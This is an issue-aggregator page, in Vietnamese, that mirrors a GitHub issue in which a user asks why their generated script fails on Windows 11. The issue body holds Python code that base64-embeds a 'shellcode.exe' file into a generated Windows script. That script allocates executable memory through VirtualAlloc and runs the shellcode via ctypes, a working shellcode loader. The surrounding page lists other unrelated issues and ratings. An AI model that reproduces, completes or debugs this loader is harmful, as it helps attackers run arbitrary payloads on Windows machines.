i need know why and how to do🥹
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 5/5
- Thời gian dự kiến
- Hơn một tuần
- Mức phù hợp với người mới
- 15/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Cần làm rõ
- Mức độ hoạt động
- Đình trệ
- Công nghệ
- python
- Lĩnh vực
- operating-systems, security
Hướng nghiên cứu
Bắt đầu với ảnh lỗi đính kèm và windows_script.py được tạo, sau đó so sánh cách script được tạo trong Kali Linux với cách nó được chạy trên Windows 11. Một cách giải quyết sẽ cần xác định lỗi được báo cáo và định nghĩa môi trường thực thi được hỗ trợ, nhưng issue không bao gồm đủ văn bản lỗi hoặc ngữ cảnh dự án để xác định “done” có nghĩa là gì.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
The code running in Kali linux
windows_script.py
with open('shellcode.exe', 'rb') as shellcode_file:
shellcode = shellcode_file.read()
import base64
encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')
with open('windows_script.py', 'w') as f:
f.write(f'''import base64
import ctypes
decoded_shellcode = base64.b64decode("{encoded_shellcode}")
kernel32 = ctypes.windll.kernel32
shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
if not shellcode_buffer:
raise MemoryError("VirtualAlloc failed to allocate memory")
ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))
shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer)
shell_func()
''')
#The error result of the generated. py file running on Win11 is shown in the figure
- Ngôn ngữ chính
- Python
- Star
- 284k
- Fork
- 36.3k
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Chuẩn bị môi trường
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của practical-tutorials/project-based-learning
-
Độ khó 1/5 1-3 giờ Mức phù hợp với người mới 75/100
practical-tutorials/project-based-learning#888 · 3 bình luận ·
-
Broken Link: Erlang -> "Making a Chat App with Erlang, Rebar, Cowboy and Bullet" leads to 404 errorĐang mở
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 64/100
practical-tutorials/project-based-learning#840 · 2 bình luận ·
-
BOMOYIĐang mở
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 20/100
practical-tutorials/project-based-learning#937 · 1 bình luận ·
-
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 25/100
-
🔗 Link rot reportĐang mởlink-rot
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 25/100
practical-tutorials/project-based-learning#899 · 1 bình luận ·
Tất cả issue của practical-tutorials/project-based-learning
Issue tương tự
-
Broken links found in docsĐang mởdocs pydanty:is-working
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 75/100
pydantic/pydantic-ai#8863 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
run-llama/llama_index#23278 ·
Maintainer thường phản hồi trong vòng 2 ngày
-
documentation from-review-extraction github-actions priority: low severity:nit
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 92/100
LearningCircuit/local-deep-research#6946 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 82/100
oracle/langchain-oracle#323 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 88/100
tenstorrent/tt-metal#58057 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày